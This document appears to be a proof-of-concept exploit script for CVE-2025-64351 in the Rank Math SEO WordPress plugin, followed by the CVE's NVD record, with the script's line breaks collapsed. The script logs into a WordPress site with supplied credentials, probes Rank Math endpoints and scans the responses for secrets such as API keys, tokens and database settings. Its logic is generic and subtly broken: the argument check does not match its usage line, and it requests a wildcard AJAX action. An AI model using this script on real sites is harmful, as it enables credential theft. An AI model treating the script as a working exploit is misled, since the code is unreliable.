CVE-2025-64351

# CVE-2025-64351 PoC - Rank Math SEO Sensitive Data Exposure # Affected: Rank Math SEO Plugin <= 1.0.252.1 # Author: Security Researcher # Reference: https://patchstack.com/database/Wordpress/Plugin/seo-by-rank-math import requests import sys from urllib.parse import urljoin def exploit_cve_2025_64351(target_url, username, password): """ Exploit for Rank Math SEO sensitive information disclosure vulnerability. This PoC demonstrates how low-privilege users can retrieve embedded sensitive data. """ session = requests.Session() # Step 1: Authenticate with WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Attempting login as {username}...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print('[-] Authentication failed') return None print('[+] Login successful') # Step 2: Enumerate Rank Math SEO API endpoints api_endpoints = [ '/wp-json/rank-math/v1/', '/wp-json/rank-math/v1/settings', '/wp-json/rank-math/v1/analyze', '/wp-admin/admin-ajax.php?action=rank_math_*', ] sensitive_data = [] for endpoint in api_endpoints: full_url = urljoin(target_url, endpoint) print(f'[*] Checking endpoint: {endpoint}') try: response = session.get(full_url, timeout=10) # Check for sensitive keywords in response sensitive_keywords = [ 'api_key', 'secret', 'token', 'password', 'credential', 'database', 'DB_', 'AUTH_', 'SECURE_', 'WP_' ] for keyword in sensitive_keywords: if keyword.lower() in response.text.lower(): print(f'[!] Potential sensitive data found at {endpoint}') print(f'[!] Keyword matched: {keyword}') sensitive_data.append({ 'endpoint': endpoint, 'keyword': keyword, 'status_code': response.status_code }) except requests.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') # Step 3: Analyze sitemap for information disclosure sitemap_url = urljoin(target_url, '/sitemap_index.xml') print(f'[*] Checking sitemap for sensitive information...') try: response = session.get(sitemap_url, timeout=10) if response.status_code == 200: # Check for exposed internal paths or information if 'wp-content' in response.text or 'wp-admin' in response.text: print('[!] Internal paths exposed in sitemap') sensitive_data.append({ 'type': 'sitemap_disclosure', 'description': 'Internal WordPress paths exposed' }) except requests.RequestException: pass return sensitive_data if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve_2025_64351_poc.py <target_url> <username> <password>') print('Example: python cve_2025_64351_poc.py http://example.com/ lowprivuser password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] results = exploit_cve_2025_64351(target, user, pwd) if results: print('\n[+] Sensitive data exposure confirmed!') print(f'[+] Found {len(results)} potential data leaks') for item in results: print(f' - {item}') else: print('\n[-] No obvious sensitive data exposure detected') print('[-] Target may be patched or not vulnerable')

{"cve": {"id": "CVE-2025-64351", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:35.390", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Rank Math SEO Rank Math SEO seo-by-rank-math allows Retrieve Embedded Sensitive Data.This issue affects Rank Math SEO: from n/a through <= 1.0.252.1."}, {"lang": "es", "value": "Vulnerabilidad de Inserción de Información Sensible en Datos Enviados en Rank Math SEO Rank Math SEO seo-by-rank-math permite Recuperar Datos Sensibles Incrustados. Este problema afecta a Rank Math SEO: desde n/a hasta menor igual que 1.0.252.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/seo-by-rank-math/vulnerability/wordpress-rank-math-seo-plugin-1-0-252-1-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}